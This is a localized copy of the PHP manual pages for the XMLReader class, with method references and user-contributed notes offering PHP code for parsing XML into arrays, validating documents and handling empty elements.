XMLReader::DEFAULTATTRS

Load DTD and default attributes but do not validate

XMLReader::VALIDATE

Load DTD and validate while parsing

XMLReader::SUBST_ENTITIES

Substitute entities and expand references

Table of Contents

  • XMLReader::close — Close the XMLReader input
  • XMLReader::expand — Returns a copy of the current node as a DOM object
  • XMLReader::getAttribute — Get the value of a named attribute
  • XMLReader::getAttributeNo — Get the value of an attribute by index
  • XMLReader::getAttributeNs — Get the value of an attribute by localname and URI
  • XMLReader::getParserProperty — Indicates if specified property has been set
  • XMLReader::isValid — Indicates if the parsed document is valid
  • XMLReader::lookupNamespace — Lookup namespace for a prefix
  • XMLReader::moveToAttribute — Move cursor to a named attribute
  • XMLReader::moveToAttributeNo — Move cursor to an attribute by index
  • XMLReader::moveToAttributeNs — Move cursor to a named attribute
  • XMLReader::moveToElement — Position cursor on the parent Element of current Attribute
  • XMLReader::moveToFirstAttribute — Position cursor on the first Attribute
  • XMLReader::moveToNextAttribute — Position cursor on the next Attribute
  • XMLReader::next — Move cursor to next node skipping all subtrees
  • XMLReader::open — Set the URI containing the XML to parse
  • XMLReader::read — Move to next node in document
  • XMLReader::readInnerXml — Retrieve XML from current node
  • XMLReader::readOuterXml — Retrieve XML from current node, including itself
  • XMLReader::readString — Reads the contents of the current node as a string
  • XMLReader::setParserProperty — Set parser options
  • XMLReader::setRelaxNGSchema — Set the filename or URI for a RelaxNG Schema
  • XMLReader::setRelaxNGSchemaSource — Set the data containing a RelaxNG Schema
  • XMLReader::setSchema — Validate document against XSD
  • XMLReader::XML — Set the data containing the XML to parse

User Contributed Notes

eef dot vreeland at gmail dot com 10-Aug-2017 05:43
Please discard my previous note; I pressed 'Add Note' too quickly

About (non-)self-closing tags:

 A) <tag></tag>
    $xmlRdr->isEmptyElement => false
    $xmlRdr->hasValue       => false
    $xmlRdr->value          => ''
    $xmlRdr->hasAttributes  => false

 B) <tag />
    $xmlRdr->isEmptyElement => true
    $xmlRdr->hasValue       => false
    $xmlRdr->value          => ''
    $xmlRdr->hasAttributes  => false

 C) <tag attribute="value"></tag>
    $xmlRdr->isEmptyElement => false
    $xmlRdr->hasValue       => false
    $xmlRdr->value          => ''
    $xmlRdr->hasAttributes  => true

 D) <tag attribute="value" />
    $xmlRdr->isEmptyElement => true
    $xmlRdr->hasValue       => false
    $xmlRdr->value          => ''
    $xmlRdr->hasAttributes  => true

... and always use the '===' operator when testing properties
eef dot vreeland at gmail dot com 10-Aug-2017 05:08
Note that when:

A) <tag></tag>
   $xmlRdr->isEmptyElement => false
   $xmlRdr->hasValue       => true
   $xmlRdr->value          => ''
   $xmlRdr->hasAttributes  => false

B) <tag />
   $xmlRdr->isEmptyElement => true
   $xmlRdr->hasValue       => false
   $xmlRdr->value          => ''
   $xmlRdr->hasAttributes  => false

C) <tag attribute="value"></tag>
   $xmlRdr->isEmptyElement => false
   $xmlRdr->hasValue       => false
   $xmlRdr->value          => ''
   $xmlRdr->hasAttributes  => true

D) <tag attribute="value" />
   $xmlRdr->isEmptyElement => true
   $xmlRdr->hasValue       => false
   $xmlRdr->value          => ''
   $xmlRdr->hasAttributes  => true
Sean Colin Ruiz 08-Jan-2017 03:11
As japos mentioned. Take care how you use isEmptyElement. After you are done looping through the attributes: isEmptyElement will be false.  You can use moveToElement() to move the cursor back to the element and then you can use isEmptyElement like normal again.
dkrnl at yandex dot ru 04-Oct-2013 04:10
Wrapper XMLReader class, for simple SAX-reading huge xml:
https://github.com/dkrnl/SimpleXMLReader

Usage example: http://github.com/dkrnl/SimpleXMLReader/blob/master/examples/example1.php

<?php

/**
 * Simple XML Reader
 *
 * @license Public Domain
 * @author Dmitry Pyatkov(aka dkrnl) <dkrnl@yandex.ru>
 * @url http://github.com/dkrnl/SimpleXMLReader
 */
class SimpleXMLReader extends XMLReader
{

    /**
     * Callbacks
     *
     * @var array
     */
    protected $callback = array();

    /**
     * Add node callback
     *
     * @param  string   $name
     * @param  callback $callback
     * @param  integer  $nodeType
     * @return SimpleXMLReader
     */
    public function registerCallback($name, $callback, $nodeType = XMLREADER::ELEMENT)
    {
        if (isset($this->callback[$nodeType][$name])) {
            throw new Exception("Already exists callback $name($nodeType).");
        }
        if (!is_callable($callback)) {
            throw new Exception("Already exists parser callback $name($nodeType).");
        }
        $this->callback[$nodeType][$name] = $callback;
        return $this;
    }

    /**
     * Remove node callback
     *
     * @param  string  $name
     * @param  integer $nodeType
     * @return SimpleXMLReader
     */
    public function unRegisterCallback($name, $nodeType = XMLREADER::ELEMENT)
    {
        if (!isset($this->callback[$nodeType][$name])) {
            throw new Exception("Unknow parser callback $name($nodeType).");
        }
        unset($this->callback[$nodeType][$name]);
        return $this;
    }

    /**
     * Run parser
     *
     * @return void
     */
    public function parse()
    {
        if (empty($this->callback)) {
            throw new Exception("Empty parser callback.");
        }
        $continue = true;
        while ($continue && $this->read()) {
            if (isset($this->callback[$this->nodeType][$this->name])) {
                $continue = call_user_func($this->callback[$this->nodeType][$this->name], $this);
            }
        }
    }

    /**
     * Run XPath query on current node
     *
     * @param  string $path
     * @param  string $version
     * @param  string $encoding
     * @return array(SimpleXMLElement)
     */
    public function expandXpath($path, $version = "1.0", $encoding = "UTF-8")
    {
        return $this->expandSimpleXml($version, $encoding)->xpath($path);
    }

    /**
     * Expand current node to string
     *
     * @param  string $version
     * @param  string $encoding
     * @return SimpleXMLElement
     */
    public function expandString($version = "1.0", $encoding = "UTF-8")
    {
        return $this->expandSimpleXml($version, $encoding)->asXML();
    }

    /**
     * Expand current node to SimpleXMLElement
     *
     * @param  string $version
     * @param  string $encoding
     * @param  string $className
     * @return SimpleXMLElement
     */
    public function expandSimpleXml($version = "1.0", $encoding = "UTF-8", $className = null)
    {
        $element = $this->expand();
        $document = new DomDocument($version, $encoding);
        $node = $document->importNode($element, true);
        $document->appendChild($node);
        return simplexml_import_dom($node, $className);
    }

    /**
     * Expand current node to DomDocument
     *
     * @param  string $version
     * @param  string $encoding
     * @return DomDocument
     */
    public function expandDomDocument($version = "1.0", $encoding = "UTF-8")
    {
        $element = $this->expand();
        $document = new DomDocument($version, $encoding);
        $node = $document->importNode($element, true);
        $document->appendChild($node);
        return $document;
    }

}
?>
kula_shakerz 03-Apr-2013 02:27
Found this in the IXmlReader docs at msdn but it's also valid for XMLReader in PHP.

You should save the value of $isEmptyElement before processing attributes, or call moveToElement to make $isEmptyElement valid after processing attributes.

$isEmptyElement returns FALSE when XMLReader is positioned on an attribute node, even if attribute's parent element is empty.
Mike De Smet 25-Sep-2012 04:35
For those of you getting xml files that do not contain duplicate elements (in the same element), the following converter converts to arrays with key/value mapping (thus overwriting duplicate elements!):

Note this is untested with attributes although I built in support.

<?php
    function xml2assoc($xml, array &$target = array()) {
        while ($xml->read()) {
            switch ($xml->nodeType) {
                case XMLReader::END_ELEMENT:
                    return $target;
                case XMLReader::ELEMENT:
                    $name = $xml->name;
                    $target[$name] = $xml->hasAttributes ? array() : '';
                    if (!$xml->isEmptyElement) {
                        $target[$name] = array();
                        xml2assoc($xml, $target[$name]);
                    }

                    if ($xml->hasAttributes)
                        while($xml->moveToNextAttribute())
                            $target[$name]['@'.$xml->name] = $xml->value;
                    break;
                case XMLReader::TEXT:
                case XMLReader::CDATA:
                    $target = $xml->value;
            }
        }
        return $target;
    }
?>
casella dot email at google dot mail dot com 22-Sep-2012 03:59
To verify that all nodes are read without error/warning you can use this code:
<?php
$endofxml = false;
$xml_url = "example.xml";
$reader = new XMLReader();
if(!$reader->open($xml_url)){
    print "Error to open XML: $xml_url\n";
} else {
    while ($reader->read()) {
        $firstnode = (!isset($firstnode)) ? $reader->name : $firstnode;
/*
DO SOMETHING
*/
        if ($reader->nodeType == XMLReader::END_ELEMENT && $reader->name == $firstnode) {
            $endofxml = true;
        }
    }
}
if($endofxml) {
    print "no error found";
} else {
    print "error found";
}
?>

This code is useful to trap $reader->read() error/warning.
lee8oi at gmail dot com 21-Mar-2012 01:54
Sometimes you have an unusual URL that doesn't actually point to an xml file but still returns xml as output (Like the Battlefield Heroes generated syndication urls). Using get_file_contents(url) you can retrieve the xml data from these urls and pass it as a variable for processing as an XML String.

Unfortunately simpleXML or xml DOM cannot process all xml strings. Some have error boxes added to the end of them (such as Battlefield Heroes syndicated news). These boxes cause an end of file sort of error and closes out the script. XMLReader grabs data from these strings without error.
japos dot trash at googlemail dot com 09-Oct-2010 02:17
Take care about how to use XMLReader::$isElementEmpty. I don't know if it is a bug or not, but $isElementEmpty is set for the current context and NOT just for the element. If you move your cursor to an attribute, $isElementEmpty will ALWAYS be false.

<?php
 $xml = new XMLReader();
 $xml->XML('<tag attr="value" />');
 $xml->read();
 var_dump($xml->isEmptyElement);
 $xml->moveToNextAttribute();
 var_dump($xml->isEmptyElement);
?>

will output

(bool) true
(bool) false

So be sure to store $isEmptyElement before moving the cursor.
jart (at) mail.ru 23-Sep-2010 06:59
Guys, I hope this example will help
you can erase prints showing the process-
and it will be a piece of nice code.

<?php
function xml2assoc($xml, $name)
{
    print "<ul>";

    $tree = null;
    print("I'm inside " . $name . "<br>");

    while($xml->read())
    {
        if($xml->nodeType == XMLReader::END_ELEMENT)
        {
            print "</ul>";
            return $tree;
        }

        else if($xml->nodeType == XMLReader::ELEMENT)
        {
            $node = array();

            print("Adding " . $xml->name ."<br>");
            $node['tag'] = $xml->name;

            if($xml->hasAttributes)
            {
                $attributes = array();
                while($xml->moveToNextAttribute())
                {
                    print("Adding attr " . $xml->name ." = " . $xml->value . "<br>");
                    $attributes[$xml->name] = $xml->value;
                }
                $node['attr'] = $attributes;
            }

            if(!$xml->isEmptyElement)
            {
                $childs = xml2assoc($xml, $node['tag']);
                $node['childs'] = $childs;
            }

            print($node['tag'] . " added <br>");
            $tree[] = $node;
        }

        else if($xml->nodeType == XMLReader::TEXT)
        {
            $node = array();
            $node['text'] = $xml->value;
            $tree[] = $node;
            print "text added = " . $node['text'] . "<br>";
        }
    }

    print "returning " . count($tree) . " childs<br>";
    print "</ul>";

    return $tree;
}

echo "<PRE>";

$xml = new XMLReader();
$xml->open('test.xml');
$assoc = xml2assoc($xml, "root");
$xml->close();

print_r($assoc);
echo "</PRE>";

?>

It reads this xml:

<test>
    <hallo volume="loud"> me <br/> lala </hallo>
    <hallo> me </hallo>
</test>
jnettles at inccrra dot org 02-Oct-2009 09:51
Just in case someone is confused, if you're wanting to simply pass a string of XML instead of an entire file, you would do this.

<?php
$foo = new XMLReader();
$foo->xml($STRING);
?>

.... where $STRING holds your XML. You cannot pass it like $foo = $STRING or $foo->xml = $STRING.
james dot ellis at example dot com 25-Mar-2009 03:16
The "XML2Assoc" functions noted here should be used with caution... basically they are duplicating the functionality already present in SimpleXML. They may work but they won't scale.

Their are two main uses cases for parsing XML, each suited to either XMLReader or SimpleXML.

1. SimpleXML is an excellent tool for easy access to an XML document tree using native PHP data types. It starts to flounder with massive (> 50M or so) XML documents, as it reads the entire document into memory before it can be processed. SimpleXML will just laugh at you then die when your server runs out of memory (or it will cause a load spike).

2. Aside from the reasoning behind massive XML documents, if you have to deal with massive XML documents, use XMLReader to process them. Don't try and gather an entire XML document into a PHP data structure using XMLReader and a PHP xml2assoc() function, you are reinventing the SimpleXML wheel.
When parsing massive XML documents using XMLReader, gather the data you need to perform an operation then perform it before skipping to the next node. Do not build massive data structures from a massive XML document, your server (and it's admins) will not like you.
PxL 23-Jan-2009 03:36
A basic parser

<?php
function xml2assoc($xml) {
    $arr = array();
    if (!preg_match_all('|\<\s*?(\w+).*?\>(.*)\<\/\s*\\1.*?\>|s', $xml, $m)) return $xml;
    if (is_array($m[1]))
        for ($i = 0;$i < sizeof($m[1]); $i++) $arr[$m[1][$i]] = xml2assoc($m[2][$i]);
    else $arr[$m[1]] = xml2assoc($m[2]);

    return $arr;
}
?>
boukeversteegh at gmail dot com 18-Jan-2009 02:06
XML to ASSOCIATIVE ARRAY

Improved algorithm based on Sergey Aikinkulov's. The problem was that it would overwrite nodes if they had the same tag name. Because of that <a><b/><b/><a> would be read as if <a><b/><a/>. This algorithm handles it better and outputs an easy to understand array:

<?php
function xml2assoc($xml) {
    $tree = null;
    while($xml->read())
        switch ($xml->nodeType) {
            case XMLReader::END_ELEMENT: return $tree;
            case XMLReader::ELEMENT:
                $node = array('tag' => $xml->name, 'value' => $xml->isEmptyElement ? '' : xml2assoc($xml));
                if($xml->hasAttributes)
                    while($xml->moveToNextAttribute())
                        $node['attributes'][$xml->name] = $xml->value;
                $tree[] = $node;
            break;
            case XMLReader::TEXT:
            case XMLReader::CDATA:
                $tree .= $xml->value;
        }
    return $tree;
}

?>

Usage:

myxml.xml:
------
<PERSON>
    <NAME>John</NAME>
    <PHONE type="home">555-555-555</PHONE>
</PERSON>
----

<?
    $xml = new XMLReader();
    $xml->open('myxml.xml');
    $assoc = xml2assoc($xml);
    $xml->close();
    print_r($assoc);
?>

Outputs:
Array
(
    [0] => Array
        (
            [tag] => PERSON
            [value] => Array
                (
                    [0] => Array
                        (
                            [tag] => NAME
                            [value] => John
                        )

                    [1] => Array
                        (
                            [tag] => PHONE
                            [value] => 555-555-555
                            [attributes] => Array
                                (
                                    [type] => home
                                )

                        )

                )

        )

)

For reasons that have to do with recursion, it returns an array with the ROOT xml node as the first childNode, rather than to return only the ROOT node.
andrei_antal at yahoo dot com 08-Jan-2009 08:25
<?php
//Pull certain elements
 $reader = new XMLReader();
  $reader->open($xmlfile);
while ($reader->read()) {
 switch ($reader->nodeType) {
   case (XMLREADER::ELEMENT):

if ($reader->name == "Code")
     {
       $reader->read();
       $code = trim($reader->value);
       echo "$code\n";
       break;
     }

 if ($reader->name == "Name")
     {
       $reader->read();
       $customername = trim( $reader->value );
       echo "$name\n";
       break;
     }

 if ($reader->name == "Camp")
    {
      $camp = trim($reader->getAttribute("ID"));
       echo "$camp\n";
      break;
    }
  }
}
?>
godseth at o2 dot pl 28-Nov-2008 02:34
Thanks rein_baarsma33 AT hotmail DOT com for bugfixes.

This is my new child of XML parsing method  based on my and yours modification.

XML2ASSOC Is a complete solution for parsing ordinary XML

<?php
/**
 * XML2Assoc Class to creating
 * PHP Assoc Array from XML File
 *
 * @author godseth (AT) o2.pl & rein_baarsma33 (AT) hotmail.com (Bugfixes in parseXml Method)
 * @uses XMLReader
 *
 */

class Xml2Assoc {

    /**
     * Optimization Enabled / Disabled
     *
     * @var bool
     */
    protected $bOptimize = false;

    /**
     * Method for loading XML Data from String
     *
     * @param string $sXml
     * @param bool $bOptimize
     */

    public function parseString( $sXml , $bOptimize = false) {
        $oXml = new XMLReader();
        $this -> bOptimize = (bool) $bOptimize;
        try {

            // Set String Containing XML data
            $oXml->XML($sXml);

            // Parse Xml and return result
            return $this->parseXml($oXml);

        } catch (Exception $e) {
            echo $e->getMessage();
        }
    }

    /**
     * Method for loading Xml Data from file
     *
     * @param string $sXmlFilePath
     * @param bool $bOptimize
     */
    public function parseFile( $sXmlFilePath , $bOptimize = false ) {
        $oXml = new XMLReader();
        $this -> bOptimize = (bool) $bOptimize;
        try {
            // Open XML file
            $oXml->open($sXmlFilePath);

            // // Parse Xml and return result
            return $this->parseXml($oXml);

        } catch (Exception $e) {
            echo $e->getMessage(). ' | Try open file: '.$sXmlFilePath;
        }
    }

    /**
     * XML Parser
     *
     * @param XMLReader $oXml
     * @return array
     */
    protected function parseXml( XMLReader $oXml ) {

        $aAssocXML = null;
        $iDc = -1;

        while($oXml->read()){
            switch ($oXml->nodeType) {

                case XMLReader::END_ELEMENT:

                    if ($this->bOptimize) {
                        $this->optXml($aAssocXML);
                    }
                    return $aAssocXML;

                case XMLReader::ELEMENT:

                    if(!isset($aAssocXML[$oXml->name])) {
                        if($oXml->hasAttributes) {
                            $aAssocXML[$oXml->name][] = $oXml->isEmptyElement ? '' : $this->parseXML($oXml);
                        } else {
                            if($oXml->isEmptyElement) {
                                $aAssocXML[$oXml->name] = '';
                            } else {
                                $aAssocXML[$oXml->name] = $this->parseXML($oXml);
                            }
                        }
                    } elseif (is_array($aAssocXML[$oXml->name])) {
                        if (!isset($aAssocXML[$oXml->name][0]))
                        {
                            $temp = $aAssocXML[$oXml->name];
                            foreach ($temp as $sKey=>$sValue)
                            unset($aAssocXML[$oXml->name][$sKey]);
                            $aAssocXML[$oXml->name][] = $temp;
                        }

                        if($oXml->hasAttributes) {
                            $aAssocXML[$oXml->name][] = $oXml->isEmptyElement ? '' : $this->parseXML($oXml);
                        } else {
                            if($oXml->isEmptyElement) {
                                $aAssocXML[$oXml->name][] = '';
                            } else {
                                $aAssocXML[$oXml->name][] = $this->parseXML($oXml);
                            }
                        }
                    } else {
                        $mOldVar = $aAssocXML[$oXml->name];
                        $aAssocXML[$oXml->name] = array($mOldVar);
                        if($oXml->hasAttributes) {
                            $aAssocXML[$oXml->name][] = $oXml->isEmptyElement ? '' : $this->parseXML($oXml);
                        } else {
                            if($oXml->isEmptyElement) {
                                $aAssocXML[$oXml->name][] = '';
                            } else {
                                $aAssocXML[$oXml->name][] = $this->parseXML($oXml);
                            }
                        }
                    }

                    if($oXml->hasAttributes) {
                        $mElement =& $aAssocXML[$oXml->name][count($aAssocXML[$oXml->name]) - 1];
                        while($oXml->moveToNextAttribute()) {
                            $mElement[$oXml->name] = $oXml->value;
                        }
                    }
                    break;
                case XMLReader::TEXT:
                case XMLReader::CDATA:

                    $aAssocXML[++$iDc] = $oXml->value;

            }
        }

        return $aAssocXML;
    }

    /**
     * Method to optimize assoc tree.
     * ( Deleting 0 index when element
     *  have one attribute / value )
     *
     * @param array $mData
     */
    public function optXml(&$mData) {
        if (is_array($mData)) {
            if (isset($mData[0]) && count($mData) == 1 ) {
                $mData = $mData[0];
                if (is_array($mData)) {
                    foreach ($mData as &$aSub) {
                        $this->optXml($aSub);
                    }
                }
            } else {
                foreach ($mData as &$aSub) {
                    $this->optXml($aSub);
                }
            }
        }
    }

}

?>

[EDIT BY danbrown AT php DOT net:  Fixes were also provided by "Alex" and (qdog AT qview DOT org) in user notes on this page (since removed).]
Sergey Aikinkulov 19-Jun-2008 03:51
Next version xml2assoc with some improve fixes:
 - no doubled data
 - no buffer arrays

<?php
/*
    Read XML structure to associative array
    --
    Using:
    $xml = new XMLReader();
    $xml->open([XML file]);
    $assoc = xml2assoc($xml);
    $xml->close();
*/
    function xml2assoc($xml) {
      $assoc = null;
      while($xml->read()){
        switch ($xml->nodeType) {
          case XMLReader::END_ELEMENT: return $assoc;
          case XMLReader::ELEMENT:
            $assoc[$xml->name][] = array('value' => $xml->isEmptyElement ? '' : xml2assoc($xml));
            if($xml->hasAttributes){
              $el =& $assoc[$xml->name][count($assoc[$xml->name]) - 1];
              while($xml->moveToNextAttribute()) $el['attributes'][$xml->name] = $xml->value;
            }
            break;
          case XMLReader::TEXT:
          case XMLReader::CDATA: $assoc .= $xml->value;
        }
      }
      return $assoc;
    }
?>
desk_ocean at msn dot com 16-Mar-2008 10:03
make some modify from Sergey Aikinkulov's note

<?php
function xml2assoc(&$xml){
    $assoc = NULL;
    $n = 0;
    while($xml->read()){
        if($xml->nodeType == XMLReader::END_ELEMENT) break;
        if($xml->nodeType == XMLReader::ELEMENT and !$xml->isEmptyElement){
            $assoc[$n]['name'] = $xml->name;
            if($xml->hasAttributes) while($xml->moveToNextAttribute()) $assoc[$n]['atr'][$xml->name] = $xml->value;
            $assoc[$n]['val'] = xml2assoc($xml);
            $n++;
        }
        else if($xml->isEmptyElement){
            $assoc[$n]['name'] = $xml->name;
            if($xml->hasAttributes) while($xml->moveToNextAttribute()) $assoc[$n]['atr'][$xml->name] = $xml->value;
            $assoc[$n]['val'] = "";
            $n++;
        }
        else if($xml->nodeType == XMLReader::TEXT) $assoc = $xml->value;
    }
    return $assoc;
}
?>

add else if($xml->isEmptyElement)
may be some xml has emptyelement
itari 15-Feb-2008 08:30
<?php
function parseXML($node,$seq,$path) {
global $oldpath;
    if (!$node->read())
      return;
    if ($node->nodeType != 15) {
      print '<br/>'.$node->depth;
      print '-'.$seq++;
      print '  '.$path.'/'.($node->nodeType==3?'text() = ':$node->name);
      print $node->value;
      if ($node->hasAttributes) {
        print ' [hasAttributes: ';
        while ($node->moveToNextAttribute()) print '@'.$node->name.' = '.$node->value.' ';
        print ']';
        }
      if ($node->nodeType == 1) {
        $oldpath=$path;
        $path.='/'.$node->name;
        }
      parseXML($node,$seq,$path);
      }
    else parseXML($node,$seq,$oldpath);
}

$source = "<tag1>this<tag2 id='4' name='foo'>is</tag2>a<tag2 id='5'>common</tag2>record</tag1>";
$xml = new XMLReader();
$xml->XML($source);
print htmlspecialchars($source).'<br/>';
parseXML($xml,0,'');
?>

Output:

<tag1>this<tag2 id='4' name='foo'>is</tag2>a<tag2 id='5'>common</tag2>record</tag1>

0-0 /tag1
1-1 /tag1/text() = this
1-2 /tag1/tag2 [hasAttributes: @id = 4 @name = foo ]
2-3 /tag1/text() = is
1-4 /text() = a
1-5 /tag2 [hasAttributes: @id = 5 ]
2-6 /text() = common
1-7 /text() = record
orion at ftf-hq dot dk 15-Feb-2006 04:50
Some more documentation (i.e. examples) would be nice :-)

This is how I read some mysql parameters in an xml file:

<?php
    $xml = new XMLReader();
    $xml->open("config.xml");
    $xml->setParserProperty(2,true); // This seems a little unclear to me - but it worked :)

    while ($xml->read()) {
        switch ($xml->name) {
        case "mysql_host":
            $xml->read();
            $conf["mysql_host"] = $xml->value;
            $xml->read();
            break;
        case "mysql_username":
            $xml->read();
            $conf["mysql_user"] = $xml->value;
            $xml->read();
            break;
        case "mysql_password":
            $xml->read();
            $conf["mysql_pass"] = $xml->value;
            $xml->read();
            break;
        case "mysql_database":
            $xml->read();
            $conf["mysql_db"] = $xml->value;
            $xml->read();
            break;
        }
    }

    $xml->close();
?>

The XML file used:
<?xml version='1.0'?>
<MySQL_INIT>
   <mysql_host>localhost</mysql_host>
   <mysql_database>db_database</mysql_database>
   <mysql_username>root</mysql_username>
   <mysql_password>password</mysql_password>
</MySQL_INIT>


Close the XMLReader input

  • ? XMLReader
  • XMLReader::expand ?
  • PHP Manual
  • XMLReader
  • Close the XMLReader input

XMLReader::close

(PHP 5 >= 5.1.0, PHP 7)

XMLReader::close — Close the XMLReader input

说明

public XMLReader::close ( void ) : bool

Closes the input the XMLReader object is currently parsing.

返回值

成功时返回 TRUE， 或者在失败时返回 FALSE。

参见

  • XMLReader::open() - Set the URI containing the XML to parse
  • XMLReader::xml() - Set the data containing the XML to parse

User Contributed Notes

There are no user contributed notes for this page.


Returns a copy of the current node as a DOM object

  • ? XMLReader::close
  • XMLReader::getAttribute ?
  • PHP Manual
  • XMLReader
  • Returns a copy of the current node as a DOM object

XMLReader::expand

(PHP 5 >= 5.1.0, PHP 7)

XMLReader::expand — Returns a copy of the current node as a DOM object

说明

public XMLReader::expand ([ DOMNode $basenode ] ) : DOMNode

This method copies the current node and returns the appropriate DOM object.

参数

basenode

A DOMNode defining the target DOMDocument for the created DOM object.

返回值

The resulting DOMNode or FALSE on error.

更新日志

版本 | 说明
5.3.0 | The parameter basenode was added.

User Contributed Notes

There are no user contributed notes for this page.


Get the value of a named attribute

  • ? XMLReader::expand
  • XMLReader::getAttributeNo ?
  • PHP Manual
  • XMLReader
  • Get the value of a named attribute

XMLReader::getAttribute

(PHP 5 >= 5.1.0, PHP 7)

XMLReader::getAttribute — Get the value of a named attribute

说明

public XMLReader::getAttribute ( string $name ) : string

Returns the value of a named attribute or NULL if the attribute does not exist or not positioned on an element node.

参数

name

The name of the attribute.

返回值

The value of the attribute, or NULL if no attribute with the given name is found or not positioned on an element node.

更新日志

版本 | 说明
5.1.3 | Return NULL if no attribute found. Previously, returned an empty string.

参见

  • XMLReader::getAttributeNo() - Get the value of an attribute by index
  • XMLReader::getAttributeNs() - Get the value of an attribute by localname and URI

User Contributed Notes

Anonymous 16-Feb-2011 09:02
Or use XMLReader::ELEMENT and XMLReader::END_ELEMENT rather than the numbers 1 and 15.
Gabi 02-Jul-2007 08:15
might be obvious, but not to everyone ;-) ... when reading attributes from a node that has sub-nodes (and creating an output from this node), the output will be issued twice, once on the <ELEMENT> tag and once on the end tag </ELEMENT>. To avoid this, you can test on which part of the node you are using the property nodeType.
It'll be 1 for the element, 15 for the end element.


Get the value of an attribute by index

  • ? XMLReader::getAttribute
  • XMLReader::getAttributeNs ?
  • PHP Manual
  • XMLReader
  • Get the value of an attribute by index

XMLReader::getAttributeNo

(PHP 5 >= 5.1.0, PHP 7)

XMLReader::getAttributeNo — Get the value of an attribute by index

说明

public XMLReader::getAttributeNo ( int $index ) : string

Returns the value of an attribute based on its position or an empty string if attribute does not exist or not positioned on an element node.

参数

index

The position of the attribute.

返回值

The value of the attribute, or an empty string (before PHP 5.6) or NULL (from PHP 5.6 onwards) if no attribute exists at index or is not positioned on the element.

更新日志

版本 | 说明
5.6.0 | XMLReader::getAttributeNo() now returns NULL if the attribute doesn't exist.

参见

  • XMLReader::getAttribute() - Get the value of a named attribute
  • XMLReader::getAttributeNs() - Get the value of an attribute by localname and URI

User Contributed Notes

There are no user contributed notes for this page.


Get the value of an attribute by localname and URI

  • ? XMLReader::getAttributeNo
  • XMLReader::getParserProperty ?
  • PHP Manual
  • XMLReader
  • Get the value of an attribute by localname and URI

XMLReader::getAttributeNs

(PHP 5 >= 5.1.0, PHP 7)

XMLReader::getAttributeNs — Get the value of an attribute by localname and URI

说明

public XMLReader::getAttributeNs ( string $localName , string $namespaceURI ) : string

Returns the value of an attribute by name and namespace URI or an empty string if attribute does not exist or not positioned on an element node.

参数

localName

The local name.

namespaceURI

The namespace URI.

返回值

The value of the attribute, or an empty string (before PHP 5.6) or NULL (from PHP 5.6 onwards) if no attribute with the given localName and namespaceURI is found or not positioned of element.

更新日志

版本 | 说明
5.6.0 | XMLReader::getAttributeNS() now returns NULL if the attribute doesn't exist.

参见

  • XMLReader::getAttribute() - Get the value of a named attribute
  • XMLReader::getAttributeNo() - Get the value of an attribute by index

User Contributed Notes

There are no user contributed notes for this page.


Indicates if specified property has been set

  • ? XMLReader::getAttributeNs
  • XMLReader::isValid ?
  • PHP Manual
  • XMLReader
  • Indicates if specified property has been set

XMLReader::getParserProperty

(PHP 5 >= 5.1.0, PHP 7)

XMLReader::getParserProperty — Indicates if specified property has been set

说明

public XMLReader::getParserProperty ( int $property ) : bool

Indicates if specified property has been set.

参数

property

One of the parser option constants.

返回值

成功时返回 TRUE， 或者在失败时返回 FALSE。

参见

  • XMLReader::setParserProperty() - Set parser options

User Contributed Notes

There are no user contributed notes for this page.


Indicates if the parsed document is valid

  • ? XMLReader::getParserProperty
  • XMLReader::lookupNamespace ?
  • PHP Manual
  • XMLReader
  • Indicates if the parsed document is valid

XMLReader::isValid

(PHP 5 >= 5.1.0, PHP 7)

XMLReader::isValid — Indicates if the parsed document is valid

说明

public XMLReader::isValid ( void ) : bool

Returns a boolean indicating if the document being parsed is currently valid.

返回值

成功时返回 TRUE， 或者在失败时返回 FALSE。

范例

Example #1 Validating XML

<?php
$xml = XMLReader::open('test.xml');

// The validate parser option must be enabled for
// this method to work properly
$xml->setParserProperty(XMLReader::VALIDATE, true);

var_dump($xml->isValid());
?>

注释

Note: This checks the current node, not the entire document.

参见

  • XMLReader::setParserProperty() - Set parser options
  • XMLReader::setRelaxNGSchema() - Set the filename or URI for a RelaxNG Schema
  • XMLReader::setRelaxNGSchemaSource() - Set the data containing a RelaxNG Schema
  • XMLReader::setSchema() - Validate document against XSD

User Contributed Notes

zubin at trattonuovo dot com 20-Jan-2010 03:00
I encountered some problems to use isValid method with xml2assoc function.
I use this way to validate the entire xml file and put it into an associative array.

$xml = new XMLReader();
if (!$xml->xml($xml_string, NULL, LIBXML_DTDVALID)) {
  echo "XML not valid: load error";
  exit();
}

libxml_use_internal_errors(TRUE);

$xml_array = xml2assoc($xml);

$arErrors = libxml_get_errors();
$xml_errors = "";
foreach ($arErrors AS $xmlError) $xml_errors .= $xmlError->message;
if ($xml_errors != "") {
  echo "XML not valid: ".$xml_errors;
  exit();
}

//all ok
remy dot damour at laposte dot net 31-Dec-2008 03:27
1. If you validate against relax-ng, no need to call $xml->setParserProperty(XMLReader::VALIDATE, true);

2. Be aware that $xml->isValid() will return validity for currently active node (ie. node currently positioned using $xml->read()). It won't check validity of your entire tree at once, but rather on a step by step basis
anzenews at volja dot net 22-Jan-2008 10:50
This comment is only partially correct:
"isValid() always returns false unless you enable checking for validity by $reader->setParserProperty(XMLReader::VALIDATE, true);"
This enables DTD checking, but you can also check by using RelaxNG (see setRelaxNGSchema() and setRelaxNGSchemaSource()).

And also, this is NOT correct:
"If you just need to check if XML file is well formed, successful loading into XMLReader object is usually enough."
It is not enough. Pull parsers operate on stream and if you have a large enough file they will not know it is well formed until it is read to the end. If you need to know if it is well formed or/and valid, read it till the end or validation error (you can use next() for fast reading if you don't care about contents).


Lookup namespace for a prefix

  • ? XMLReader::isValid
  • XMLReader::moveToAttribute ?
  • PHP Manual
  • XMLReader
  • Lookup namespace for a prefix

XMLReader::lookupNamespace

(PHP 5 >= 5.1.0, PHP 7)

XMLReader::lookupNamespace — Lookup namespace for a prefix

说明

public XMLReader::lookupNamespace ( string $prefix ) : string

Lookup in scope namespace for a given prefix.

参数

prefix

String containing the prefix.

返回值

成功时返回 TRUE， 或者在失败时返回 FALSE。

User Contributed Notes

There are no user contributed notes for this page.


Move cursor to a named attribute

  • ? XMLReader::lookupNamespace
  • XMLReader::moveToAttributeNo ?
  • PHP Manual
  • XMLReader
  • Move cursor to a named attribute

XMLReader::moveToAttribute

(PHP 5 >= 5.1.0, PHP 7)

XMLReader::moveToAttribute — Move cursor to a named attribute

说明

public XMLReader::moveToAttribute ( string $name ) : bool

Positions cursor on the named attribute.

参数

name

The name of the attribute.

返回值

成功时返回 TRUE， 或者在失败时返回 FALSE。

参见

